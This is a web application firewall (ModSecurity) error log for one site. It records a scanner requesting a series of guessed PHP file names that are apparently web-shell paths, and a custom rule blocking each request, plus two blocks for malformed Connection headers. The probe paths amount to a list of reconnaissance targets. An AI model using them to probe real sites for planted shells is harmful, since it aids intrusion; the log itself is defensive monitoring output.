[Tue Mar 31 17:17:26.932198 2026] [:error] [pid 36890:tid 36919] [client 172.161.1.56:22566] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp3.php"] [unique_id "acuRJp8FASPd_uH8z7f-MgAAABg"]
[Tue Mar 31 17:17:27.409903 2026] [:error] [pid 36890:tid 36911] [client 172.161.1.56:41880] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "acuRJ58FASPd_uH8z7f-MwAAABA"]
[Tue Mar 31 17:17:27.981788 2026] [:error] [pid 36892:tid 36972] [client 172.161.1.56:61602] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "acuRJ0yj9S4G0ek3O4JfnQAAAJU"]
[Tue Mar 31 17:17:28.458184 2026] [:error] [pid 36890:tid 36910] [client 172.161.1.56:37200] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "acuRKJ8FASPd_uH8z7f-NQAAAA8"]
[Tue Mar 31 17:17:28.970363 2026] [:error] [pid 36982:tid 37006] [client 172.161.1.56:51665] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "acuRKPlMmeoQKN0r_GM7qAAAANU"]
[Tue Mar 31 17:17:29.444983 2026] [:error] [pid 41421:tid 41443] [client 172.161.1.56:40906] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v.php"] [unique_id "acuRKRSaDjY9kKFtUQBTsgAAARM"]
[Tue Mar 31 17:17:29.928392 2026] [:error] [pid 36890:tid 36902] [client 172.161.1.56:20960] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v.php"] [unique_id "acuRKZ8FASPd_uH8z7f-OAAAAAc"]
[Tue Mar 31 17:17:30.426969 2026] [:error] [pid 6548:tid 6564] [client 172.161.1.56:20986] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v.php"] [unique_id "acuRKrgIz9HgMl9YwE7J8wAAAU4"]
[Tue Mar 31 17:17:30.944394 2026] [:error] [pid 36892:tid 36974] [client 172.161.1.56:48715] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v.php"] [unique_id "acuRKkyj9S4G0ek3O4JfpgAAAJc"]
[Tue Mar 31 17:17:31.453129 2026] [:error] [pid 36982:tid 36991] [client 172.161.1.56:46861] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d2.php"] [unique_id "acuRK_lMmeoQKN0r_GM7rAAAAMY"]
[Tue Mar 31 17:17:31.963992 2026] [:error] [pid 36890:tid 36919] [client 172.161.1.56:54711] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d2.php"] [unique_id "acuRK58FASPd_uH8z7f-PAAAABg"]
[Tue Mar 31 17:17:32.487103 2026] [:error] [pid 36890:tid 36909] [client 172.161.1.56:15231] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d2.php"] [unique_id "acuRLJ8FASPd_uH8z7f-PgAAAA4"]
[Tue Mar 31 17:17:33.007813 2026] [:error] [pid 36982:tid 37002] [client 172.161.1.56:17903] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d2.php"] [unique_id "acuRLflMmeoQKN0r_GM7rgAAANE"]
[Tue Mar 31 17:17:33.541341 2026] [:error] [pid 6548:tid 6568] [client 172.161.1.56:17378] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xc.php"] [unique_id "acuRLbgIz9HgMl9YwE7J-wAAAVI"]
[Tue Mar 31 17:17:34.068282 2026] [:error] [pid 36892:tid 36964] [client 172.161.1.56:51681] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xc.php"] [unique_id "acuRLkyj9S4G0ek3O4JfqwAAAI0"]
[Tue Mar 31 17:17:34.622456 2026] [:error] [pid 36982:tid 36999] [client 172.161.1.56:17916] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xc.php"] [unique_id "acuRLvlMmeoQKN0r_GM7sAAAAM4"]
[Tue Mar 31 17:17:35.167140 2026] [:error] [pid 36891:tid 36929] [client 172.161.1.56:16038] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xc.php"] [unique_id "acuRL5JhiMaJUqoqfl6rVgAAAEU"]
[Tue Mar 31 17:17:35.663777 2026] [:error] [pid 36982:tid 37000] [client 172.161.1.56:54688] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "acuRL_lMmeoQKN0r_GM7swAAAM8"]
[Tue Mar 31 17:17:36.190083 2026] [:error] [pid 36890:tid 36903] [client 172.161.1.56:48711] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "acuRMJ8FASPd_uH8z7f-RAAAAAg"]
[Tue Mar 31 17:17:36.688301 2026] [:error] [pid 36892:tid 36955] [client 172.161.1.56:61612] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "acuRMEyj9S4G0ek3O4JfrQAAAIQ"]
[Tue Mar 31 17:17:37.184731 2026] [:error] [pid 36890:tid 36912] [client 172.161.1.56:41901] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "acuRMZ8FASPd_uH8z7f-SAAAABE"]
[Tue Mar 31 17:17:37.674914 2026] [:error] [pid 36892:tid 36971] [client 172.161.1.56:48765] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gmo.php"] [unique_id "acuRMUyj9S4G0ek3O4JfrgAAAJQ"]
[Tue Mar 31 17:17:38.204705 2026] [:error] [pid 36891:tid 36948] [client 172.161.1.56:46896] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gmo.php"] [unique_id "acuRMpJhiMaJUqoqfl6rWwAAAFg"]
[Tue Mar 31 17:17:38.760960 2026] [:error] [pid 36982:tid 36992] [client 172.161.1.56:15183] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gmo.php"] [unique_id "acuRMvlMmeoQKN0r_GM7uQAAAMc"]
[Tue Mar 31 17:17:39.267764 2026] [:error] [pid 36982:tid 36999] [client 172.161.1.56:62812] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gmo.php"] [unique_id "acuRM_lMmeoQKN0r_GM7uwAAAM4"]
[Tue Mar 31 17:17:39.743847 2026] [:error] [pid 36982:tid 37000] [client 172.161.1.56:16040] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "acuRM_lMmeoQKN0r_GM7vgAAAM8"]
[Tue Mar 31 17:17:40.250676 2026] [:error] [pid 6548:tid 6570] [client 172.161.1.56:20955] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "acuRNLgIz9HgMl9YwE7KEAAAAVQ"]
[Tue Mar 31 17:17:40.764120 2026] [:error] [pid 6548:tid 6565] [client 172.161.1.56:62798] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "acuRNLgIz9HgMl9YwE7KEwAAAU8"]
[Tue Mar 31 17:17:41.239665 2026] [:error] [pid 6548:tid 6561] [client 172.161.1.56:10448] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "acuRNbgIz9HgMl9YwE7KGQAAAUs"]
[Tue Mar 31 17:17:41.720158 2026] [:error] [pid 41421:tid 41427] [client 172.161.1.56:48736] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/20.php"] [unique_id "acuRNRSaDjY9kKFtUQBTvwAAAQM"]
[Tue Mar 31 17:17:42.198063 2026] [:error] [pid 36892:tid 36963] [client 172.161.1.56:15182] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/20.php"] [unique_id "acuRNkyj9S4G0ek3O4JftAAAAIw"]
[Tue Mar 31 17:17:42.746674 2026] [:error] [pid 36891:tid 36944] [client 172.161.1.56:51657] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/20.php"] [unique_id "acuRNpJhiMaJUqoqfl6rXwAAAFQ"]
[Tue Mar 31 17:17:43.224340 2026] [:error] [pid 36890:tid 36915] [client 172.161.1.56:62796] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/20.php"] [unique_id "acuRN58FASPd_uH8z7f-UwAAABQ"]
[Tue Mar 31 17:17:43.708499 2026] [:error] [pid 36982:tid 36995] [client 172.161.1.56:43249] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "acuRN_lMmeoQKN0r_GM7xQAAAMo"]
[Tue Mar 31 17:17:44.198558 2026] [:error] [pid 36982:tid 37002] [client 172.161.1.56:48754] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "acuROPlMmeoQKN0r_GM7yAAAANE"]
[Tue Mar 31 17:17:44.683391 2026] [:error] [pid 36982:tid 37004] [client 172.161.1.56:40944] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "acuROPlMmeoQKN0r_GM7zAAAANM"]
[Tue Mar 31 17:17:45.167758 2026] [:error] [pid 36982:tid 37005] [client 172.161.1.56:15227] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "acuROflMmeoQKN0r_GM7zwAAANQ"]
[Tue Mar 31 17:17:45.673157 2026] [:error] [pid 36982:tid 36993] [client 172.161.1.56:54703] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/c.php"] [unique_id "acuROflMmeoQKN0r_GM70gAAAMg"]
[Tue Mar 31 17:17:46.169293 2026] [:error] [pid 36982:tid 37003] [client 172.161.1.56:62842] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/c.php"] [unique_id "acuROvlMmeoQKN0r_GM71QAAANI"]
[Tue Mar 31 17:17:46.688807 2026] [:error] [pid 41421:tid 41447] [client 172.161.1.56:17886] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/c.php"] [unique_id "acuROhSaDjY9kKFtUQBTyQAAARc"]
[Tue Mar 31 17:17:47.169195 2026] [:error] [pid 36982:tid 36996] [client 172.161.1.56:37230] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/c.php"] [unique_id "acuRO_lMmeoQKN0r_GM72AAAAMs"]
[Tue Mar 31 17:17:47.644400 2026] [:error] [pid 36982:tid 36986] [client 172.161.1.56:62809] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we2.php"] [unique_id "acuRO_lMmeoQKN0r_GM72gAAAME"]
[Tue Mar 31 17:17:48.119802 2026] [:error] [pid 36982:tid 36992] [client 172.161.1.56:46849] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we2.php"] [unique_id "acuRPPlMmeoQKN0r_GM73AAAAMc"]
[Tue Mar 31 17:17:48.633037 2026] [:error] [pid 36982:tid 36995] [client 172.161.1.56:40905] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we2.php"] [unique_id "acuRPPlMmeoQKN0r_GM74AAAAMo"]
[Tue Mar 31 17:17:49.155776 2026] [:error] [pid 36982:tid 37000] [client 172.161.1.56:62846] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we2.php"] [unique_id "acuRPflMmeoQKN0r_GM74wAAAM8"]
[Tue Mar 31 17:17:49.629989 2026] [:error] [pid 36892:tid 36975] [client 172.161.1.56:51675] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/04.php"] [unique_id "acuRPUyj9S4G0ek3O4JfvQAAAJg"]
[Tue Mar 31 17:17:50.106802 2026] [:error] [pid 36982:tid 37002] [client 172.161.1.56:12329] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/04.php"] [unique_id "acuRPvlMmeoQKN0r_GM76AAAANE"]
[Tue Mar 31 17:17:50.648142 2026] [:error] [pid 36982:tid 37000] [client 172.161.1.56:62827] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/04.php"] [unique_id "acuRPvlMmeoQKN0r_GM77AAAAM8"]
[Tue Mar 31 17:17:51.128162 2026] [:error] [pid 36982:tid 37001] [client 172.161.1.56:46852] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/04.php"] [unique_id "acuRP_lMmeoQKN0r_GM77wAAANA"]
[Tue Mar 31 17:17:51.641886 2026] [:error] [pid 36982:tid 37009] [client 172.161.1.56:45015] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "acuRP_lMmeoQKN0r_GM78gAAANg"]
[Tue Mar 31 17:17:52.124252 2026] [:error] [pid 6548:tid 6567] [client 172.161.1.56:48763] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "acuRQLgIz9HgMl9YwE7KmQAAAVE"]
[Tue Mar 31 17:17:52.601333 2026] [:error] [pid 36982:tid 36998] [client 172.161.1.56:46907] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "acuRQPlMmeoQKN0r_GM79wAAAM0"]
[Tue Mar 31 17:17:53.123798 2026] [:error] [pid 41421:tid 41424] [client 172.161.1.56:29892] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "acuRQRSaDjY9kKFtUQBT0QAAAQA"]
[Tue Mar 31 18:16:01.047933 2026] [:error] [pid 41421:tid 41447] [client 43.153.12.58:38410] [client 43.153.12.58] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acue4RSaDjY9kKFtUQBtLAAAARc"]
[Tue Mar 31 18:50:38.125848 2026] [:error] [pid 36982:tid 36986] [client 170.106.163.84:60864] [client 170.106.163.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acum_vlMmeoQKN0r_GN6DwAAAME"]
